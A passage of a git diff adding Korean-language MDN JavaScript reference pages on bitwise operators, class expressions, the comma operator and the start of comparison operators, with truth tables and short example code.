+   <td><code>a &amp; b</code></td>
+   <td>피연산자를 비트로 바꿨을 때 각각 대응하는 비트가 모두 1이면 그 비트값에 1을 반환.</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR">비트 OR</a></td>
+   <td><code>a | b</code></td>
+   <td>피연산자를 비트로 바꿨을 때 각각 대응하는 비트가 모두 1이거나 한 쪽이 1이면 1을 반환.</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR">비트 XOR</a></td>
+   <td><code>a ^ b</code></td>
+   <td>피연산자를 비트로 바꿨을 때 대응하는 비트가 서로 다르면 1을 반환.</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_NOT">비트 NOT</a></td>
+   <td><code>~ a</code></td>
+   <td>피연산자의 반전된 값을 반환.</td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift">왼쪽 시프트</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>Shifts <code>a</code> in binary representation <code>b</code> (&lt; 32) bits to the left, shifting in zeros from the right.</td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift">부호 유지 오른쪽 시프트</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>Shifts <code>a</code> in binary representation <code>b</code> (&lt; 32) bits to the right, discarding bits shifted off.</td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift">부호 버림 오른쪽 시프트</a></td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>Shifts <code>a</code> in binary representation <code>b</code> (&lt; 32) bits to the right, discarding bits shifted off, and shifting in zeros from the left.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="부호_있는_32비트_정수">부호 있는 32비트 정수</h2>
+
+<p>The operands of all bitwise operators are converted to signed 32-bit integers in two's <a href="https://en.wikipedia.org/wiki/Method_of_complements">complement format</a>, except for zero-fill right shift which results in an unsigned 32-bit integer.</p>
+
+<p><em>Two's complement format</em> means that a number's negative counterpart (e.g. <code>5</code> vs. <code>-5</code>) is all the number's bits inverted (bitwise NOT of the number, or <em>ones' complement</em> of the number) plus one.</p>
+
+<p>For example, the following encodes the integer <code>314</code>:</p>
+
+<pre>00000000000000000000000100111010
+</pre>
+
+<p>The following encodes <code>~314</code>, i.e. the one's complement of <code>314</code>:</p>
+
+<pre>11111111111111111111111011000101
+</pre>
+
+<p>Finally, the following encodes <code>-314,</code> i.e. the two's complement of <code>314</code>:</p>
+
+<pre>11111111111111111111111011000110
+</pre>
+
+<p>The two's complement guarantees that the left-most bit is 0 when the number is positive and 1 when the number is negative. Thus, it is called the <em>sign bit</em>.</p>
+
+<p>The number <code>0</code> is the integer that is composed completely of 0 bits.</p>
+
+<pre>0 (base 10) = 00000000000000000000000000000000 (base 2)
+</pre>
+
+<p>The number <code>-1</code> is the integer that is composed completely of 1 bits.</p>
+
+<pre>-1 (base 10) = 11111111111111111111111111111111 (base 2)
+</pre>
+
+<p>The number <code>-2147483648</code> (hexadecimal representation: <code>-0x80000000</code>) is the integer that is composed completely of 0 bits except the first (left-most) one.</p>
+
+<pre>-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+</pre>
+
+<p>The number <code>2147483647</code> (hexadecimal representation: <code>0x7fffffff</code>) is the integer that is composed completely of 1 bits except the first (left-most) one.</p>
+
+<pre>2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+</pre>
+
+<p>The numbers <code>-2147483648</code> and <code>2147483647</code> are the minimum and the maximum integers representable throught a 32bit signed number.</p>
+
+<h2 id="비트_논리_연산자">비트 논리 연산자</h2>
+
+<p>비트 논리 연산자는 다음과 같이 사용됩니다.</p>
+
+<ul>
+ <li>피연산자는 32비트 정수로 변환되고, 이진법으로 표현됩니다 (0과 1).</li>
+ <li>이진법으로 표현된 첫 번째 피연산자는 두 번째 피연산자와 쌍을 이룹니다: 첫 번째는 첫 번째 비트끼리, 두 번째는 두 번째 비트끼리...</li>
+ <li>연산자는 각각의 비트쌍에 적용되고, 결과 또한 이진법으로 구성됩니다.</li>
+</ul>
+
+<h3 id="비트_AND"><a id="Bitwise_AND" name="Bitwise_AND">&amp; (비트 AND)</a></h3>
+
+<p>비트 연산자 AND를 비트 쌍으로 실행합니다.</p>
+
+<p>Performs the AND operation on each pair of bits. <code>a</code> AND <code>b</code> yields 1 only if both <code>a</code> and <code>b</code> are 1. The truth table for the AND operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a AND b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre>     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>Bitwise ANDing any number <code>x</code> with <code>0</code> yields <code>0</code>. <span style="letter-spacing: -0.00278rem;">Bitwise ANDing any number <code>x</code> with <code>-1</code> yields <code>x</code>.</span></p>
+
+<h3 id="비트_OR"><a id="Bitwise_OR" name="Bitwise_OR">| (비트 OR)</a></h3>
+
+<p>Performs the OR operation on each pair of bits. <code>a</code> OR <code>b</code> yields 1 if either <code>a</code> or <code>b</code> is 1. The truth table for the OR operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a OR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre>     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+</pre>
+
+<p>Bitwise ORing any number x with 0 yields x.</p>
+
+<p>Bitwise ORing any number x with -1 yields -1.</p>
+
+<h3 id="비트_XOR"><a id="Bitwise_XOR" name="Bitwise_XOR">^ (비트 XOR)</a></h3>
+
+<p>Performs the XOR operation on each pair of bits. <code>a</code> XOR <code>b</code> yields 1 if <code>a</code> and <code>b</code> are different. The truth table for the XOR operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a XOR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre>     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+</pre>
+
+<p>Bitwise XORing any number x with 0 yields x.</p>
+
+<p>Bitwise XORing any number x with -1 yields ~x.</p>
+
+<h3 id="비트_NOT"><a id="Bitwise_NOT" name="Bitwise_NOT">~ (비트 NOT)</a></h3>
+
+<p>Performs the NOT operator on each bit. NOT <code>a</code> yields the inverted value (a.k.a. one's complement) of <code>a</code>. The truth table for the NOT operation is:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">NOT a</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+               --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+</pre>
+
+<p>Bitwise NOTing any number x yields -(x + 1). For example, ~5 yields -6.</p>
+
+<h2 id="비트_시프트_연산자">비트 시프트 연산자</h2>
+
+<p>The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.</p>
+
+<p>Shift operators convert their operands to 32-bit integers in big-endian order and return a result of the same type as the left operand. The right operand should be less than 32, but if not only the low five bits will be used.</p>
+
+<h3 id="&lt;&lt;_Left_shift"><a id="Left_shift" name="Left_shift">&lt;&lt; (Left shift)</a></h3>
+
+<p>This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.</p>
+
+<p>For example, <code>9 &lt;&lt; 2</code> yields 36:</p>
+
+<pre>     9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 &lt;&lt; 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
+</pre>
+
+<p>Bitwise shifting any number <strong>x</strong> to the left by <strong>y</strong> bits yields <strong>x * 2^y</strong>.</p>
+
+<h3 id=">>_Sign-propagating_right_shift"><a id="Right_shift" name="Right_shift">&gt;&gt; (Sign-propagating right shift)</a></h3>
+
+<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left. Since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. Hence the name "sign-propagating".</p>
+
+<p>For example, <code>9 &gt;&gt; 2</code> yields 2:</p>
+
+<pre>     9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 &gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Likewise, <code>-9 &gt;&gt; 2</code> yields -3, because the sign is preserved:</p>
+
+<pre>     -9 (base 10): 11111111111111111111111111110111 (base 2)
+                   --------------------------------
+-9 &gt;&gt; 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
+</pre>
+
+<h3 id=">>>_Zero-fill_right_shift"><a id="Unsigned_right_shift" name="Unsigned_right_shift">&gt;&gt;&gt; (Zero-fill right shift)</a></h3>
+
+<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left. The sign bit becomes 0, so the result is always non-negative.</p>
+
+<p>For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result. For example, <code>9 &gt;&gt;&gt; 2</code> yields 2, the same as <code>9 &gt;&gt; 2</code>:</p>
+
+<pre>      9 (base 10): 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 &gt;&gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>However, this is not the case for negative numbers. For example, <code>-9 &gt;&gt;&gt; 2</code> yields 1073741821, which is different than <code>-9 &gt;&gt; 2</code> (which yields -3):</p>
+
+<pre>      -9 (base 10): 11111111111111111111111111110111 (base 2)
+                    --------------------------------
+-9 &gt;&gt;&gt; 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Flags_and_bitmasks">Flags and bitmasks</h3>
+
+<p>The bitwise logical operators are often used to create, manipulate, and read sequences of <em>flags</em>, which are like binary variables. Variables could be used instead of these sequences, but binary flags take much less memory (by a factor of 32).</p>
+
+<p>Suppose there are 4 flags:</p>
+
+<ul>
+ <li>flag A: we have an ant problem</li>
+ <li>flag B: we own a bat</li>
+ <li>flag C: we own a cat</li>
+ <li>flag D: we own a duck</li>
+</ul>
+
+<p>These flags are represented by a sequence of bits: DCBA. When a flag is <em>set</em>, it has a value of 1. When a flag is <em>cleared</em>, it has a value of 0. Suppose a variable <code>flags</code> has the binary value 0101:</p>
+
+<pre class="brush: js">var flags = 5;   // binary 0101
+</pre>
+
+<p>This value indicates:</p>
+
+<ul>
+ <li>flag A is true (we have an ant problem);</li>
+ <li>flag B is false (we don't own a bat);</li>
+ <li>flag C is true (we own a cat);</li>
+ <li>flag D is false (we don't own a duck);</li>
+</ul>
+
+<p>Since bitwise operators are 32-bit, 0101 is actually 00000000000000000000000000000101, but the preceding zeroes can be neglected since they contain no meaningful information.</p>
+
+<p>A <em>bitmask</em> is a sequence of bits that can manipulate and/or read flags. Typically, a "primitive" bitmask for each flag is defined:</p>
+
+<pre class="brush: js">var FLAG_A = 1; // 0001
+var FLAG_B = 2; // 0010
+var FLAG_C = 4; // 0100
+var FLAG_D = 8; // 1000
+</pre>
+
+<p>New bitmasks can be created by using the bitwise logical operators on these primitive bitmasks. For example, the bitmask 1011 can be created by ORing FLAG_A, FLAG_B, and FLAG_D:</p>
+
+<pre class="brush: js">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Individual flag values can be extracted by ANDing them with a bitmask, where each bit with the value of one will "extract" the corresponding flag. The bitmask <em>masks</em> out the non-relevant flags by ANDing with zeros (hence the term "bitmask"). For example, the bitmask 0100 can be used to see if flag C is set:</p>
+
+<pre class="brush: js">// if we own a cat
+if (flags &amp; FLAG_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>A bitmask with multiple set flags acts like an "either/or". For example, the following two are equivalent:</p>
+
+<pre class="brush: js">// if we own a bat or we own a cat
+if ((flags &amp; FLAG_B) || (flags &amp; FLAG_C)) { // (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<pre class="brush: js">// if we own a bat or cat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 =&gt; 0110
+if (flags &amp; mask) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>Flags can be set by ORing them with a bitmask, where each bit with the value one will set the corresponding flag, if that flag isn't already set. For example, the bitmask 1100 can be used to set flags C and D:</p>
+
+<pre class="brush: js">// yes, we own a cat and a duck
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 =&gt; 1100
+flags |= mask;   // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Flags can be cleared by ANDing them with a bitmask, where each bit with the value zero will clear the corresponding flag, if it isn't already cleared. This bitmask can be created by NOTing primitive bitmasks. For example, the bitmask 1010 can be used to clear flags A and C:</p>
+
+<pre class="brush: js">// no, we don't have an ant problem or own a cat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>The mask could also have been created with <code>~FLAG_A &amp; ~FLAG_C</code> (De Morgan's law):</p>
+
+<pre class="brush: js">// no, we don't have an ant problem, and we don't own a cat
+var mask = ~FLAG_A &amp; ~FLAG_C;
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Flags can be toggled by XORing them with a bitmask, where each bit with the value one will toggle the corresponding flag. For example, the bitmask 0110 can be used to toggle flags B and C:</p>
+
+<pre class="brush: js">// if we didn't have a bat, we have one now, and if we did have one, bye-bye bat
+// same thing for cats
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Finally, the flags can all be flipped with the NOT operator:</p>
+
+<pre class="brush: js">// entering parallel universe...
+flags = ~flags;    // ~1010 =&gt; 0101
+</pre>
+
+<h3 id="Conversion_snippets">Conversion snippets</h3>
+
+<p>Convert a binary <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">string</a></code> to a decimal <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">number</a></code>:</p>
+
+<pre class="brush: js">var sBinString = "1011";
+var nMyNumber = parseInt(sBinString, 2);
+alert(nMyNumber); // prints 11, i.e. 1011
+</pre>
+
+<p>Convert a decimal <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">number</a></code> to a binary <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">string</a></code>:</p>
+
+<pre class="brush: js">var nMyNumber = 11;
+var sBinString = nMyNumber.toString(2);
+alert(sBinString); // prints 1011, i.e. 11
+</pre>
+
+<h3 id="Automate_Mask_Creation">Automate Mask Creation</h3>
+
+<p>If you have to create many masks from some <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">boolean</a></code> values, you can automatize the process:</p>
+
+<pre class="brush: js">function createMask () {
+  var nMask = 0, nFlag = 0, nLen = arguments.length &gt; 32 ? 32 : arguments.length;
+  for (nFlag; nFlag &lt; nLen; nMask |= arguments[nFlag] &lt;&lt; nFlag++);
+  return nMask;
+}
+var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
+var mask2 = createMask(false, false, true); // 4, i.e.: 0100
+var mask3 = createMask(true); // 1, i.e.: 0001
+// etc.
+
+alert(mask1); // prints 11, i.e.: 1011
+</pre>
+
+<h3 id="Reverse_algorithm_an_array_of_booleans_from_a_mask">Reverse algorithm: an array of booleans from a mask</h3>
+
+<p>If you want to create an <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">array</a></code> of <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">booleans</a></code> from a mask you can use this code:</p>
+
+<pre class="brush: js">function arrayFromMask (nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  if (nMask &gt; 0x7fffffff || nMask &lt; -0x80000000) { throw new TypeError("arrayFromMask - out of range"); }
+  for (var nShifted = nMask, aFromMask = []; nShifted; aFromMask.push(Boolean(nShifted &amp; 1)), nShifted &gt;&gt;&gt;= 1);
+  return aFromMask;
+}
+
+var array1 = arrayFromMask(11);
+var array2 = arrayFromMask(4);
+var array3 = arrayFromMask(1);
+
+alert("[" + array1.join(", ") + "]");
+// prints "[true, true, false, true]", i.e.: 11, i.e.: 1011
+</pre>
+
+<p>You can test both algorithms at the same time…</p>
+
+<pre class="brush: js">var nTest = 19; // our custom mask
+var nResult = createMask.apply(this, arrayFromMask(nTest));
+
+alert(nResult); // 19
+</pre>
+
+<p>For didactic purpose only (since there is the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code> method), we show how it is possible to modify the <code>arrayFromMask</code> algorithm in order to create a <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">string</a></code> containing the binary representation of a <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">number</a></code>, rather than an <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">array</a></code> of <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">booleans</a></code>:</p>
+
+<pre class="brush: js">function createBinaryString (nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag &lt; 32; nFlag++, sMask += String(nShifted &gt;&gt;&gt; 31), nShifted &lt;&lt;= 1);
+  return sMask;
+}
+
+var string1 = createBinaryString(11);
+var string2 = createBinaryString(4);
+var string3 = createBinaryString(1);
+
+alert(string1);
+// prints 00000000000000000000000000001011, i.e. 11
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-bitwise-not-operator', 'Bitwise NOT Operator')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-binary-bitwise-operators', 'Binary Bitwise Operators')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators', 'Bitwise Shift Operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.bitwise")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/%EB%85%BC%EB%A6%AC_%EC%97%B0%EC%82%B0%EC%9E%90(Logical_Operators)">논리 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/class/index.html b/files/ko/web/javascript/reference/operators/class/index.html
new file mode 100644
index 0000000000..d15b532fbc
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/class/index.html
@@ -0,0 +1,100 @@
+---
+title: class 식
+slug: Web/JavaScript/Reference/Operators/class
+tags:
+  - ECMAScript 2015
+  - Expression
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/class
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>class 표현식</strong>은 ECMAScript 2015 (ES6)에서 클래스를 정의하는 한 방법입니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/function">function 식</a>과 비슷하게, class 식은 기명(named) 또는 익명(unnamed)일 수 있습니다. 기명인 경우, 클래스명은 클래스 본체(body)에서만 지역(local)입니다. JavaScript 클래스는 프로토타입(원형) 기반 상속을 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-classexpression.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">var MyClass = class <em>[className]</em> [extends] {
+  // class body
+};</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>class 식은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/class">class 문</a>과 구문이 비슷합니다. 그러나, class 식의 경우 클래스명("binding identifier")을 생략할 수 있는데 class 문으로는 할 수 없습니다.</p>
+
+<p>class 문과 같이, class 식의 본체는 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a>에서 실행됩니다.</p>
+
+
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_class_식">간단한 class 식</h3>
+
+<p>이게 바로 변수 "Foo"를 사용하여 참조할 수 있는 간단한 익명 class 식입니다.</p>
+
+<pre class="brush: js notranslate">var Foo = class {
+  constructor() {}
+  bar() {
+    return "Hello World!";
+  }
+};
+
+var instance = new Foo();
+instance.bar(); // "Hello World!"
+Foo.name; // ""
+</pre>
+
+<h3 id="Named_class_식">Named  class 식</h3>
+
+<p>당신이 클래스 몸통 내에서 현재 클래스를 참조하고 싶다면, 유명 class 식을 만들 수 있습니다. 이 이름은 오직 class 식 자체 범위에서만 볼 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var Foo = class NamedFoo {
+  constructor() {}
+  whoIsThere() {
+    return NamedFoo.name;
+  }
+}
+var bar = new Foo();
+bar.whoIsThere(); // "NamedFoo"
+NamedFoo.name; // ReferenceError: NamedFoo가 정의되지 않음
+Foo.name; // "NamedFoo"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.class")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/function"><code>function</code> 식</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> 문</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/comma_operator/index.html b/files/ko/web/javascript/reference/operators/comma_operator/index.html
new file mode 100644
index 0000000000..d2c4caae0e
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/comma_operator/index.html
@@ -0,0 +1,91 @@
+---
+title: 쉼표 연산자
+slug: Web/JavaScript/Reference/Operators/Comma_Operator
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>쉼표 연산자</strong>는 각각의 피연산자를 왼쪽에서 오른쪽 순서로 평가하고, 마지막 연산자의 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2, expr3...</code></dt>
+ <dd>아무 표현식.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>단일 표현식을 요구하는 곳에 복수의 표현식을 사용하고 싶을 때 쉼표 연산자를 사용할 수 있습니다. 가장 흔히 사용되는 곳은 <code>for</code> 반복문에 다수의 매개변수를 제공할 때입니다.</p>
+
+<p>쉼표 연산자는 배열, 객체, 함수의 매개변수와 호출 인수에서 사용하는 쉼표와는 전혀 다릅니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>a</code>를 한 행에 10개의 요소를 가진 2차원 배열이라고 가정할 때, 아래 예제는 쉼표 연산자를 사용해 한 번에 <code>i</code>는 증가시키고 <code>j</code>는 감소시킵니다.</p>
+
+<p>다음 코드는 2차원 배열의 대각선에 위치하는 요소의 값을 출력합니다.</p>
+
+<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+  console.log("a[" + i + "][" + j + "] = " + a[i][j]);
+</pre>
+
+<p>쉼표 연산자를 할당에 사용하면, 할당 연산이 표현식에 포함되지 않아 예상한 결과와는 다소 다를 수 있습니다. 다음 예제에서, <code>a</code>는 <code>b = 3</code>의 값(3)을 할당받지만, <code>c = 4</code> 표현식 역시 평가되어 콘솔에 기록됩니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위와 결합성</a> 때문입니다.</p>
+
+<pre class="brush: js">var a, b, c;
+
+a = b = 3, c = 4; // 콘솔에는 4를 반환
+console.log(a); // 3 (제일 왼쪽)
+
+var x, y, z;
+
+x = (y = 5, z = 6); // 콘솔에는 6을 반환
+console.log(x); // 6 (제일 오른쪽)
+</pre>
+
+<h3 id="연산_후_반환">연산 후 반환</h3>
+
+<p>쉼표 연산자를 사용하는 다른 방법은 값을 반환하기 전에 연산을 수행하는 것입니다. 쉼표 연산자는 마지막 표현식의 평가 결과만 반환하지만, 이전 피연산자에 대해서도 평가는 수행하므로 다음과 같은 코드를 작성할 수 있습니다.</p>
+
+<pre class="brush: js">function myFunc () {
+  var x = 0;
+
+  return (x += 1, x); // ++x 와 같은 효과
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.comma")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> 반복문</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/comparison_operators/index.html b/files/ko/web/javascript/reference/operators/comparison_operators/index.html
new file mode 100644
index 0000000000..ecfd46d6e5
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/comparison_operators/index.html
@@ -0,0 +1,215 @@
+---
+title: 비교 연산자
+slug: Web/JavaScript/Reference/Operators/Comparison_Operators
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript는 엄격한 비교와 형변환 비교 두 가지의 비교 방법을 모두 가지고 있습니다. 엄격(일치) 비교(<code>===</code>)는 두 피연산자가 같은 자료형에, 그 내용도 일치해야만 참입니다. 추상(동등) 비교(<code>==</code>)는 비교 전에 두 피연산자를 동일한 자료형으로 변환합니다. 관계 추상 비교(<code>&lt;=</code>)의 경우 {{glossary("primitive", "원시값")}}으로 바꾸고, 같은 자료형으로 다시 바꾼후 비교를 수행합니다.</p>
+
+<p>문자열의 경우 {{glossary("unicode", "유니코드")}} 값을 사용한 사전순으로 비교합니다.</p>
+
